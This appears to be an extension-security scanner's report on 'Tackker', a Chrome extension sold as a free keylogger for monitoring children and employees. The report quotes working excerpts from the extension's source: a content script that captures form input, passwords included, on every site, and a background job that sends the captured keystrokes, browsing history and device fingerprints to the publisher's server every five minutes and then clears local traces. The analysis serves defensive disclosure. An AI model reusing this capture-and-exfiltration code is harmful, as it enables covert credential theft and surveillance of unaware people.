Free Keylogger Tool - Child Monitor Tackker

Free Keylogger Tool - Child Monitor Tackker

ID: ekpkdmohpdnebfedjjfklhpefgpgaaji

Supported Languages

🇺🇸US English

Extension Info & Metadata

Status
Active
Version
3.1
Size
0.13 MB
Rating
3.9/5
Reviews
77
Users
20,000
Type
Extension
Updated
May 4, 2026
Category
Accessibility
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

Trusted
Author
tackker.comView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Website
Visit
Total Extensions
1
Active
1
Obsolete
0
Listed
1
Unlisted
0
Total Users
20,000
Screenshot 1
Screenshot 2
Screenshot 3
Screenshot 4

Tackker is a free keylogger tool that helps you in Child Monitoring and other ethical monitoring services.

tackker is online keylogger tool that helps you log the keystrokes and other user data. It can be used for child monitoring as well as employee monitoring. And Now You can also monitor your browsing history. Install Tackker and get peace of mind ;) tackker have made browser activity monitoring so easy. Monitor any browser activity by following these simple steps: 1) Install tackker on target system browser(s). 2) After installation, you will be directed to register/login (this part is important since without registering you can not see the logged data). 3) Once you are registered and the plugin is installed , simply monitor user activity from our online dashboard.

Item
Type
Severity
Description
<all_urls>
Host
Critical
Broad host access — the extension can read/modify content on every website.
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
unlimitedStorage
Permission
Medium
This permission removes storage quota restrictions. Rated Medium because it can store large amounts of user data without limits, potentially impacting browser performance and storing extensive tracking data.
alarms
Permission
Low
This permission schedules periodic tasks. Rated Low because it can only trigger events at specified times without access to sensitive data.

The dontLog array explicitly excludes several non-sensitive input types but does NOT exclude type='password'. This means password fields on every banking site, email provider, and social network visited by the victim are captured on focusout and Enter keypress and written to local storage before being exfiltrated. The code runs as a content script matching <all_urls>, so no site is exempt.

content.js (Line 14)
var watchedElements = ["INPUT", "TEXTAREA"],  url = window.location,  dontLog = ["button", "image", "reset", "submit", "radio", "checkbox", "color", "range"];function getInputValue(t) {  var e = ~watchedElements.indexOf(t.nodeName) || "true" === t.contentEditable;  if (-1 === e) {    if (!~dontLog.indexOf(t.type)) return t.value  } else {    if (-2 === e) return t.value;    if (!0 === e) return t.innerText.trim()      .replace(/(\n|\r)+/g, " \n")  }  return null}

Every 5 minutes (via chrome.alarms), the background service worker POSTs all accumulated keystroke logs (logHistory, which includes captured input values, timestamps, and origin URLs) together with the full browsing history (urlHistory, which includes device fingerprint fields) to https://www.tackker.com/send-data. After a successful response the local store is wiped, removing local forensic evidence. This is a complete exfiltration pipeline covering credential data captured on the victim's device.

back.js (Line 84)
const payload = {  app: appId,  data: logs,  history: history};const response = await fetch("https://www.tackker.com/send-data", {  method: "POST",  headers: {    "Content-Type": "application/json"  },  body: JSON.stringify(payload)});if (!response.ok) throw new Error(`Server returned status ${response.status}`);await setStorage({  logHistory: [],  urlHistory: [],});

Every page navigation records the full URL, referrer, navigation method, user agent string, OS name, browser name and version, device model, and accept-language header, then stores this record in urlHistory for later exfiltration. This goes beyond the 'Web history' disclosure by attaching a persistent device fingerprint to every record, enabling the remote operator to de-anonymize the victim and correlate activity across sessions regardless of IP changes.

content.js (Line 485)
var newEntry = {  'url': document.location.href,  'content_type': contentType,  'timestamp': today.getTime(),  'referrer': lastUrl,  'navigation_method': navigationMethod,  'user_agent': navigator.userAgent,  'scheme': window.location.protocol,  'host': window.location.host,  'accept_language': navigator.language,  'device_manufacturer': 'unknown',  'device_model': getBasicDeviceModel(),  'os_name': getOS(),  'os_version': 'unknown',  'browser_name': browserInfo.browserName,  'browser_version': browserInfo.browserVersion,  'navigation_type': 'foreground-navigation',  'year': today.getFullYear(),  'month': today.getMonth() + 1,  'day': today.getDate(),}

Commented-out code shows a prior version of the extension opened http://intamema.com/5F2c (an obfuscated short-link to an unrelated external domain) once per day via a 50-second polling interval. This pattern — ad/redirect injection hidden in a monitoring tool — is consistent with the socket.dev spamware campaign IoC and indicates the extension has been used to deliver unwanted navigations in addition to keylogging. The code is disabled in this build but is present in the source, indicating the capability was intentional.

content.js (Line 241)
// window.addEventListener("load", function(){//     const interval = setInterval(function() {//         ...//         chrome.storage.local.get({lastShowed: []}, function (result) {//             console.log(result.lastShowed);//             if(new Date(date)>= new Date(result.lastShowed)){//                 window.open('http://intamema.com/5F2c', '_blank');//                 chrome.storage.local.set({lastShowed: date}, function () {});//             }//         });//         }, 50000);// });

By severity

Critical9
High8
Medium1
Low0

Versions scanned

Showing 3 of 18 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
3.14
3.010
1.74

Files with findings

4 distinct paths — top paths by unique finding count:

  • content.js12
  • back.js3
  • popup.js2
  • manifest.json1
S.No.
Category
Severity
File
Summary
Found in Version
1Credential Theft
critical
content.js (line 14)The dontLog array explicitly excludes several non-sensitive input types but does NOT exclude type='password'. This means password fields on every banking site, email provider, and social network visited by the victim …
2Credential Theft
critical
content.js (line 14)Defines the core keylogging capture function that reads values from any INPUT, TEXTAREA, or contentEditable element on every page (injected on <all_urls>). It explicitly excludes non-text input types so it deliberatel…
3Credential Theft
critical
content.js (line 127)Installs capturing-phase keypress and focusout listeners on document.body for every page the user visits. On Enter key or losing focus, the current value of the focused field is harvested via getInputValue and persist…
4Credential Theft
critical
content.js (line 34)Persists each captured keystroke value into chrome.storage.local along with the originating site origin and timestamp. Associating the captured text with the site it was typed on makes the collected data directly usab…
5Credential Theft
critical
content.js (line 14)The dontLog exclusion list omits 'password' type inputs, meaning password field values are captured by getInputValue() and persisted via saveData(). Capturing credentials across all websites (<all_urls> content script…
6Data Exfiltration
critical
back.js (line 84)Every 5 minutes (via chrome.alarms), the background service worker POSTs all accumulated keystroke logs (logHistory, which includes captured input values, timestamps, and origin URLs) together with the full browsing h…
7Data Exfiltration
critical
back.js (line 78)Exfiltrates the full captured keystroke log (logHistory) and browsing history (urlHistory) to https://www.tackker.com/send-data, keyed by a server-issued appId that uniquely identifies the victim device. The commented…
8Data Exfiltration
critical
back.js (line 108)Schedules a chrome.alarms trigger every 5 minutes to automatically exfiltrate the captured keystrokes and browsing history to the remote server. The stale comment referencing '10 seconds' suggests an even more aggress…
9Unauthorized Data Collection
critical
popup.js (line 64)Pairs the victim's browser installation (appId) to an operator account on tackker.com so a remote party can view the collected keystrokes and browsing history via a hosted dashboard. This is the access mechanism that …
10Obfuscation
high
content.js (line 151)The comment 'six hours in milliseconds' is deliberately false: 5*1000 = 5000 ms = 5 seconds, not 6 hours (which would be 21,600,000 ms). This intentional mislabelling hides from code reviewers that keystroke and brows…
11Other
high
manifest.json (line 1)The bundled manifest omits the 'alarms' permission and the explicit host_permissions field that appear in the live CWS listing (published manifest shows permissions: [storage, unlimitedStorage, alarms] and host_permis…
12Tracking
high
content.js (line 470)Builds a detailed browsing-history record for every navigation: full URL, referrer, navigation method, timestamp, user agent, OS, device model, browser, and locale. Commented-out fields (panelist_id, IP, request_count…
13Tracking
high
content.js (line 330)Uses a MutationObserver on document.body to detect SPA-style client-side URL rewrites and log them as navigation events. This defeats the normal browser model where content scripts only fire on hard navigations, enabl…
14Tracking
high
popup.js (line 113)Registers each installation with the attacker-controlled server by fetching and persisting a unique appId used as the victim identifier on all subsequent exfiltration payloads. Multiple commented-out alternate C2 endp…
15Tracking
high
content.js (line 465)The saveHistory function collects a device fingerprint — user agent string, browser name and version, OS name, device model, accept-language, navigation method, referrer, and content type — for every URL visited acros…
16Unauthorized Data Collection
high
content.js (line 485)Every page navigation records the full URL, referrer, navigation method, user agent string, OS name, browser name and version, device model, and accept-language header, then stores this record in urlHistory for later …
17Unauthorized Data Collection
high
content.js (line 117)On every page load, harvests the `q` query string parameter (the de facto search query parameter used by Google, Bing, DuckDuckGo, YouTube, etc.) and stores it for exfiltration. This collects the user's search history…
18Other
medium
content.js (line 241)Commented-out code shows a prior version of the extension opened http://intamema.com/5F2c (an obfuscated short-link to an unrelated external domain) once per day via a 50-second polling interval. This pattern — ad/red…
URLs
22
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.tackker.com/send-datahttps://www.tackker.com/send-data
dev.test123.com/send-datahttp://dev.test123.com/send-data
www.tackker.com/set-app-idhttps://www.tackker.com/set-app-id
dev.test123.com/set-app-idhttp://dev.test123.com/set-app-id
www.tackker.com/is-logged-inhttps://www.tackker.com/is-logged-in?app-id=
dev.test123.com/is-logged-inhttp://dev.test123.com/is-logged-in?app-id=
stagging.tackker.com/is-logged-inhttps://stagging.tackker.com/is-logged-in?app-id=
www.tackker.com/dashboardhttps://www.tackker.com/dashboard
www.tackker.com/set-userhttps://www.tackker.com/set-user?app-id=
dev.test123.com/set-userhttp://dev.test123.com/set-user?app-id=
Showing 1 to 10 of 30 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 10 of 20 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.